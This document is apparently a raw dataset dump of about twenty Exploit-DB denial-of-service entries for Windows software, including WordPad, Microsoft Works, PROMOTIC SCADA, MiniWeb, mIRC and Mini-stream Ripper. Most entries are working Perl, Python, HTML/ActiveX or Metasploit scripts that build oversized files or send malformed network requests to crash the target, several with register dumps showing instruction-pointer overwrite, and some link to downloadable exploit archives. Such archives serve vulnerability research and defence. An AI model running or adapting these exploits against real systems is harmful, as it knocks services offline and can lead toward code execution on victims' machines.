deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9423
Description: Microsoft Wordpad on winXP SP3 - Local Crash
Type: dos
Platform: windows
Date: 2009-08-12
Author: murderkey

Exploit:
#!/usr/bin/perl
#Microsoft Wordpad on WinXP SP3 Memory Exhaustion Vulnerability - 0day
#Works on WinXP SP3!
#bug found by murderkey in Hellcode Labs.
#exploit coded by karak0rsan aka musashi
#Hellcode Resarch
#just a fuckin' lame 0day bug for fun!

$file = "hellcoded.rtf";
$header =
"\x7b\x5c\x72\x74\x66\x31\x5c\x61\x6e\x73\x69\x5c\x61\x6e\x73\x69\x63\x70\x67\x31\x32".
"\x35\x34\x5c\x64\x65\x66\x66\x30\x5c\x64\x65\x66\x6c\x61\x6e\x67\x31\x30\x35\x35\x7b".
"\x5c\x66\x6f\x6e\x74\x74\x62\x6c\x7b\x5c\x66\x30\x5c\x66\x73\x77\x69\x73\x73\x5c\x66".
"\x63\x68\x61\x72\x73\x65\x74\x31\x36\x32\x7b\x5c\x2a\x5c\x66\x6e\x61\x6d\x65\x20\x41".
"\x72\x69\x61\x6c\x3b\x7d\x41\x72\x69\x61\x6c\x20\x54\x55\x52\x3b\x7d\x7d\x0a\x7b\x5c".
"\x2a\x5c\x67\x65\x6e\x65\x72\x61\x74\x6f\x72\x20\x4d\x73\x66\x74\x65\x64\x69\x74\x20".
"\x35\x2e\x34\x31\x2e\x31\x35\x2e\x31\x35\x31\x35\x3b\x7d\x5c\x76\x69\x65\x77\x6b\x69".
"\x6e\x64\x34\x5c\x75\x63\x31\x5c\x70\x61\x72\x64\x5c\x66\x30\x5c\x66\x73\x32\x30";

$subheader = "\x5c\x41\x41\x41\x41\x41\x5c\x41\x41\x41\x41\x5c\x70\x61\x72\x0a\x7d\x0a\x00";
$ekheader = "\x5c\x70\x61\x72\x0a";
$buffer = "A" x 578001;
$buffer2 = "A" x 289000;
$buffer3 = "A" x 18186;
$buffer4 = "A" x 863973;
$buffer5= "A" x 578000;
$memory = $header.$buffer.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer4.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$ekheader.$buffer5.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer3.$subheader;
   open(file, '>' . $file);
   print file $memory;
   close(file);
print "File PoC exploit has created!\n";

exit(); */

# milw0rm.com [2009-08-12]
Exploit-DB #5460
Description: Microsoft Works 7 - 'WkImgSrv.dll' ActiveX Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2008-04-17
Author: Shennan Wang

Exploit:
<html>
<head>
  <title>Microsoft Works 7 WkImgSrv.dll crash POC</title>
  <script language="JavaScript">
    function payload() {
var num = -1;
obj.WksPictureInterface = num;
  }
   </script>
</head>
 <body onload="JavaScript: return payload();">
<object classid="clsid:00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6" id="obj">
</object>
 </body>
</html>

# milw0rm.com [2008-04-17]
Exploit-DB #28222
Description: Microsoft Works 8.0 Spreadsheet - Multiple Vulnerabilities
Type: dos
Platform: windows
Date: 2006-06-14
Author: Benjamin Franz

Exploit:
source: https://www.securityfocus.com/bid/18989/info

The spreadsheet component of Microsoft Works is prone to multiple remote vulnerabilities, including buffer-overflow and denial-of service issues. 

These issues occur because the application fails to handle specifically crafted spreadsheet documents when importing them into Microsoft Works. 

These vulnerabilities allow remote attackers to execute arbitrary machine code in the context of affected application. Attackers may also crash vulnerable applications, denying service to legitimate users.

Microsoft Works version 8.0 is vulnerable to these issues; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28222.zip
Exploit-DB #18049
Description: Microsys PROMOTIC 8.1.4 - ActiveX GetPromoticSite Unitialized Pointer
Type: dos
Platform: windows
Date: 2011-10-13
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  Microsys PROMOTIC
              http://www.promotic.eu/en/promotic/scada-pm.htm
Versions:     8.1.4
Platforms:    Windows
Bug:          ActiveX GetPromoticSite unitialized pointer
Exploitation: remote
Date:         30 Oct 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's website:
"PROMOTIC is a complex SCADA object software tool for creating
applications that monitor, control and display technological processes
in various industrial areas. "


#######################################################################

======
2) Bug
======


Code execution through an unitialized pointer exploitable via the
GetPromoticSite method of the PmTable.ocx ActiveX
(19BA6EE6-4BB4-11D1-8085-0020AFC8C4AF).


Note that the ActiveX object could require the acknoledge of the user
for being executed.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/promotic_2.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18049.zip


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #24968
Description: Mikrotik Syslog Server for Windows 1.15 - Denial of Service (Metasploit)
Type: dos
Platform: windows
Date: 2013-04-22
Author: xis_one

Exploit:
# Exploit Title: Mikrotik Syslog Server for Windows - remote BOF DOS 
# Date: 19.04.2013
# Exploit Author: xis_one@STM Solutions 
# Vendor Homepage:  www.mikrotik.com
# Software Link: http://www.mikrotik.com/download/MT_Syslog.exe
# Version: 1.15 (most recent version 19.04.2013) 
# Tested on: Windows XP SP3, Windows 7 SP1 

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Udp
	include Msf::Auxiliary::Dos

	def initialize
		super(
			'Name'        => 'Mikrotik Syslog Server for Windows - remote BOF DOS',
			'Description' => %q{
					This module triggers the windows socket error WSAEMSGSIZE (message to long)
                                        in the Mikrotik Syslog Server for Windows v 1.15 and crashes it.
                                        The long syslog message overwrite the allocated buffer space causing the socket error.
                                          
			},
			'Author'      => 'xis_one@STM Solutions',
			'License'     => MSF_LICENSE,
			'DisclosureDate' => 'Apr 19 2013')

		register_options(
			[
				Opt::RPORT(514)
			])
	end

	def run
		connect_udp
		pkt = "<0>" + "Apr19 " +  "10.0.0.2 " + "badass" + ": " + "A"*5000
		print_status("Crashing the remote Mikrotik syslog server #{rhost}")
		udp_sock.put(pkt)
		disconnect_udp
	end
end
Exploit-DB #15334
Description: MinaliC WebServer 1.0 - Denial of Service
Type: dos
Platform: windows
Date: 2010-10-27
Author: John Leitch

Exploit:
# ------------------------------------------------------------------------
# Software................MinaliC Webserver 1.0
# Vulnerability...........Denial Of Service
# Download................http://sourceforge.net/projects/minalic/
# Release Date............10/24/2010
# Tested On...............Windows XP
# ------------------------------------------------------------------------
# Author..................John Leitch
# Site....................http://www.johnleitch.net/
# Email...................john.leitch5@gmail.com
# ------------------------------------------------------------------------
# 
# --Description--
# 
# Sending a request with a length greater than or equal to 2048 bytes
# causes the server to crash.
# 
# 
# --PoC--

import socket

host = 'localhost'
port = 8080

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send('\x00'*2048)
Exploit-DB #8402
Description: Mini-stream Ripper - '.m3u' Local Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-04-13
Author: Cyber-Zone

Exploit:
#!/usr/bin/perl
#
#
# *************************************************************
# *  Mini-stream Ripper (.M3U File) Local Stack Overflow POC  *
# *************************************************************
#
# Found By : Cyber-Zone (ABDELKHALEK)
# E-mail   : Paradis_des_fous@hotmail.fr
# Home     : WwW.IQ-TY.CoM ; WwW.No-Exploit.CoM
# Greetz   : Hussin X , Jiko (my brother), ZoRLu , Nabilx , Mag!c ompo , Stack ... all mgharba HaCkers and Sec-r1z.com
#
# Download product : http://www.rm-to-mp3.net/downloads/Mini-streamRipper.exe
#
#
# Olly registers
#EAX 00000001
#ECX 41414141
#EDX 00D30000
#EBX 00333D60 ASCII "C:\Documents and Settings\Administrateur\Bureau\KHAL.m3u"
#ESP 000F70CC ASCII "AAAA"
#EBP 000FBFB4
#ESI 77C2FCE0 msvcrt.77C2FCE0
#EDI 0000CC2E
#EIP 41414141
#
my $Header = "#EXTM3U\n";

my $ex="http://"."A" x 26129; # note exact this just the POC

open(MYFILE,'>>KHAL.m3u');

print MYFILE $Header.$ex;

close(MYFILE);

# milw0rm.com [2009-04-13]
Exploit-DB #11197
Description: Mini-stream Ripper 3.0.1.1 - '.smi' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-01-19
Author: d3b4g

Exploit:
#!/usr/bin/python
# Tested on: win XPsp3
# webpage: d3b4g.info

#EAX 00E1C880
#EDX 00000001
#EBX 41414141------------------------------------------------
#ESP 000D198C
#EBP 00E1C880          controle over registers
#ESI 41414141------------------------------------------------
#EDI 00E1C880
#EIP 00431302 Ripper.00431302
#C 0  ES 0023 32bit 0(FFFFFFFF)
#P 0  CS 001B 32bit 0(FFFFFFFF)
#A 0  SS 0023 32bit 0(FFFFFFFF)
#Z 0  DS 0023 32bit 0(FFFFFFFF)

chars = "A"*90000
crush = "\x41\x41\x41\x41" 
file=open('exp.smi','w')
file.write(chars+crush+chars)
file.close()
Exploit-DB #8405
Description: Mini-stream RM-MP3 Converter 3.0.0.7 - '.m3u' Local Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-04-13
Author: Cyber-Zone

Exploit:
#!/usr/bin/perl
#
#
# ************************************************************************
# *  Mini-stream RM-MP3 Converter (.M3U File) Local Stack Overflow POC   *
# ************************************************************************
#
# Found By : Cyber-Zone (ABDELKHALEK)
# E-mail   : Paradis_des_fous@hotmail.fr
# Home     : WwW.IQ-TY.CoM ; WwW.No-Exploit.CoM
# Greetz   : Hussin X , Jiko (my brother), ZoRLu , Nabilx , Mag!c ompo , Stack ... all mgharba HaCkers and Sec-r1z.com
#
# Download product : http://www.rm-to-mp3.net/downloads/Mini-streamRM-MP3Converter.exe
#
#
# Olly registers
#EAX 00000001
#ECX 41414141
#EDX 00D20000
#EBX 00333ED8 ASCII "C:\Documents and Settings\Administrateur\Bureau\KHAL.m3u"
#ESP 000F6C90
#EBP 000FBFB4
#ESI 77C2FCE0 msvcrt.77C2FCE0
#EDI 00006619
#EIP 41414141
#
my $Header = "#EXTM3U\n";

my $ex="http://"."A" x 26121;# just Poc tested under MS windows SP2 Fr

open(MYFILE,'>>KHAL.m3u');

print MYFILE $Header.$ex;

close(MYFILE);

# milw0rm.com [2009-04-13]
Exploit-DB #29740
Description: MiniGZip - Controls File_Compress Buffer Overflow
Type: dos
Platform: windows
Date: 2007-03-14
Author: starcadi

Exploit:
source: https://www.securityfocus.com/bid/22964/info

The 'minigzip' tool is prone to a buffer-overflow vulnerability because it fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

A local attacker can exploit this issue to execute arbitrary code with the privileges of the user running the affected application. Failed exploit attempts will result in a denial of service. 

minigzip `perl -e 'print 'A'x1050'
Exploit-DB #24144
Description: MiniShare 1.3.2 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2004-05-26
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/10417/info

Minishare is affected by a remote denial of service vulnerability. This issue is due to a failure of the application to handle improperly formed HTTP requests.

This issue will allow an attacker to cause the affected computer to stop responding, denying service to legitimate users.

GET:

1. GET /something HTTP/1.1
-
2. GET /something HTTP/1.1\n
-


HEAD:

1. HEAD /something HTTP/1.1
-
2. HEAD /something HTTP/1.1\n
-
Exploit-DB #4046
Description: MiniWeb HTTP Server 0.8.x - Remote Denial of Service
Type: dos
Platform: windows
Date: 2007-06-07
Author: gbr

Exploit:
# MiniWeb Http Server 0.8.x Remote Denial of Service
# MiniWeb site http://sourceforge.net/projects/miniweb/
# Author: gbr
#
# Tested running the server under Windows XP SP2
#
# Description:
#
# The server doesn't do a sanity-check on 'Content-Length' value from POST Header, allowing the attacker to control
# the allocation size and the position in the 'pucPayload' char pointer to write.
# This could be used to trigger an exception.
#
#
# Vulnerable code - file http.c | lines 701-702 MiniWeb 0.8.1 | lines 704 - 705 MiniWeb 0.8.19
# ------------------------------------------
# phsSocket->request.pucPayload=malloc(phsSocket->response.iContentLength+1);
# phsSocket->request.pucPayload[phsSocket->response.iContentLength]=0;
# ------------------------------------------

#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

my $host = shift || die "usage: perl $0 host [port]\n";
my $port = shift || 80;

my $sock = new IO::Socket::INET(PeerAddr => $host, PeerPort => $port, PeerProto => 'tcp')
or die "error: $!\n";

$sock->send("POST / HTTP/1.1\r\n");
$sock->send("Content-Length: -10\r\n\r\n");

$sock->close;

print "Exploited\n";

# milw0rm.com [2007-06-07]
Exploit-DB #25418
Description: MiniWeb HTTP Server 300 - Crash (PoC)
Type: dos
Platform: windows
Date: 2013-05-13
Author: dmnt

Exploit:
# MiniWeb HTTP server (build 300, built on Feb 28 2013) by Stanley Huang
# http://sourceforge.net/projects/miniweb/files/miniweb/0.8/miniweb-win32-20130309.zip/download
# Heap corruption PoC - remote DoS
# Tested on Win7 SP1 RUS
# (x) dmnt 2013

import socket

print 'Mini Web HTTP Server remote DoS exploit by dmnt\n'
host = "127.0.0.1"
port = 8000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print 'Connect to host and send payload\n'
stuff = 'POST /'+'"' +' HTTP/1.\r\n'
stuff+= 'Content-Type: application/x-www-form-urlencoded\r\n'
stuff+= 'Content-Length: 0\r\n\r\n'
stuff+= 'A'*15
s.send(stuff)
print 'Server crashed\n'

# Exploit-DB note:
# Tinker with the amount of As to get this to work
Exploit-DB #3304
Description: MiniWebsvr 0.0.6 - Remote Resource Consumption Denial of Service
Type: dos
Platform: windows
Date: 2007-02-13
Author: shinnai

Exploit:
import socket

print
"-----------------------------------------------------------------------"
print "MiniWebsvr 0.0.6 (0-Day) Resource Consumption"
print "url: http://miniwebsvr.sourceforge.net/"
print "author: shinnai"
print "mail: shinnai[at]autistici[dot]org"
print "site: http://shinnai.altervista.org"
print "Run this exploit and take a look to the CPU usage."
print
"-----------------------------------------------------------------------"

host = "127.0.0.1"
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
   for i in range (0,3):
       request =  "GET /prn.htm HTTP/1.1 \n\n"
       connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       connection.connect((host, port))
       connection.send(request)
       print i
except:
   print "Unable to connect. exiting."

# milw0rm.com [2007-02-13]
Exploit-DB #23240
Description: mIRC 6.1 - 'DCC SEND' Buffer Overflow (1)
Type: dos
Platform: windows
Date: 2003-10-13
Author: Takara Takaishi

Exploit:
source: https://www.securityfocus.com/bid/8818/info

A vulnerability has been reported to exist in the mIRC client that may allow a remote attacker to crash a vulnerable mIRC client. The condition is most likely present due to insufficient boundary checking performed on 'DCC SEND' requests.

It has been reported that when received, a malicious 'DDC SEND' request can trigger a fatal error and cause an affected mIRC client to crash. 

#!/usr/bin/perl -w
use IO::Socket;
# get irc server to connect to, and nick to exploit.
print "Enter Serv: "; chomp($serv=<STDIN>);
print "Enter Nick: "; chomp($nick=<STDIN>);

#setup connection
$ocket = IO::Socket::INET->new(
                        PeerAddr=>"$serv",
			PeerPort=>'6667'
			) || die "could not connect to $serv: $!";

#$| = 1;
#$ocket->autoflush();
$line="";
until($line =~ /Ident/){
	$oldline=$line;
	$line = <$ocket>;
	if($oldline ne $line) {print $line;}
}

print $ocket "user ident irc name ircname\n";  #send ident/ircname info

$line="";
until($line =~/PING/){
	$oldline=$line;
	$line = <$ocket>;
	if ($oldline ne $line) {print $line;}
}


$line =~ s/.*://;
print $ocket "PONG :$line\n";
print $ocket "nick thssmnck\n";
print $ocket "privmsg $nick :DCC SEND \"a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a \"[PII_REDACTED] 666\n";
Exploit-DB #23602
Description: mIRC 6.1 - DCC Get Dialog Denial of Service
Type: dos
Platform: windows
Date: 2004-01-26
Author: MASTER VIPER

Exploit:
source: https://www.securityfocus.com/bid/9492/info

A vulnerability has been reported to exist in mIRC that may allow a remote attacker to crash a vulnerable mIRC client.

It has been reported that the issue will present itself only in certain circumstances. Although unconfirmed, due to the nature of this vulnerability it has been conjectured that a remote attacker may potentially lever this issue to have arbitrary code executed in the context of the affected mIRC client. 

alias mirc612 { echo -a *** Sending exploit to $$1 | .raw PRIVMSG $$1 $+(:,$chr(1),DCC) send $str($rand(a,z) $+ $chr(256),250) $+ 0 $+ .txt[PII_REDACTED] $+(8192,$chr(1)) }
Exploit-DB #6654
Description: mIRC 6.34 - Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-10-02
Author: securfrog

Exploit:
##################################################################################################
# Mirc 6.34 Remote Buffer Overflow
# 
# This poc allow you to own the 2 first EDI & EDX bytes.
# 
# To become remote, add a simple document.location.href=irc://server.com/... in some html page
#
use IO::Socket;

sub sock()
{
my $sock=new IO::Socket::INET (
Listen    => 1,
                                
LocalAddr => 'localhost',
                                
LocalPort => 6667,
                               
Proto     => 'tcp');  die unless $sock;

print " [+]IRC Server started on port 6667 \r\n";

$s=$sock->accept();  
$a = "A" x 313;
$twobytes = "\x43\x43";

print " [+]Sending pickles\r\n";
  
print $s ":irc_server.stuff 001 yow :Welcome to the Internet Relay Network yow\r\n"; 
sleep(1);
print $s ":".$a.$twobytes." PRIVMSG  yow : /FINGER yow.\r\n";
}
while(1)
{
sock();
print " [+]Mirc should be down now, another little friend comming ?\r\n [+]Server Restarting\r\n";
}

# milw0rm.com [2008-10-02]
Exploit-DB #43854
Description: MixPad 5.00 - Buffer Overflow
Type: dos
Platform: windows
Date: 2018-01-23
Author: bzyo

Exploit:
#!/usr/bin/python

#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: NCH Software MixPad v5.00 - Unicode Buffer Overflow
# Date: 21-01-2017
# Vulnerable Software: NCH Software MixPad
# Vendor Homepage: http://www.nch.com.au/mixpad
# Version: v5.00
# Software Link: http://www.nch.com.au/mixpad/mpsetup.exe
# Tested On: Windows XP
#
#
# PoC: generate crash.txt, options, metronome tab, paste crash.txt in 'choose a custom metronome sound' 
#
# no unicode jmp/call to esp
# 
# EAX 00117700
# ECX 001167F0
# EDX 7C90E514 ntdll.KiFastSystemCallRet
# EBX 00000000
# ESP 00116C40 UNICODE "BBBBBB does not exist or cannot be accessed."
# EBP 00116FAC
# ESI 0000004E
# EDI 00117740
# EIP 00CC00CC

filename="crash.txt"
 
junk = "A"*251
eip = "\xcc"*2  			#eip over; jmp/call esp goes here
fill = "B"*100				#only 6 used in esp
buffer = junk + eip + fill

  
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
Exploit-DB #9178
Description: MixSense 1.0.0.1 DJ Studio - '.mp3' Crash
Type: dos
Platform: windows
Date: 2009-07-16
Author: prodigy

Exploit:
#!/usr/bin/perl -w
#
# MixSense 1.0.0.1 DJ Studio (.mp3 file) Crash Vulnerability Exploit
#
# Founded and exploited by prodigy
#
# Contact: smack_the_stream@hotmail.com
# 
# Vendor: MixSense
#
# Usage to reproduce the bug: when you created the malicious file, open with Mixsense and booom!
#
# Platform: Windows
#
###################################################################

==PoC==

use strict;

use diagnostics;

my $file= "crash.mp3";

my $boom= "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x 5000;

open($FILE,">>$file");

print $FILE "$boom";

close($FILE);

print "File Created successfully\n";

==EndPoC==


##Greetz: Greetz myself for find the bug.

# milw0rm.com [2009-07-16]
Exploit-DB #9147
Description: MixVibes Pro 7.043 - '.vib' Local Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-07-14
Author: hack4love

Exploit:
#!/usr/bin/perl
# Found By :: HACK4LOVE
# MixVibes Pro 7.043 (.vib File) Local Stack Overflow PoC
# http://www.softpedia.com/progDownload/MixVibes-Pro-Download-3074.html
########################################################################################
my $crash="\x41" x 5000;
open(myfile,'>>hack4love.vib');
print myfile $crash;
########################################################################################

# milw0rm.com [2009-07-14]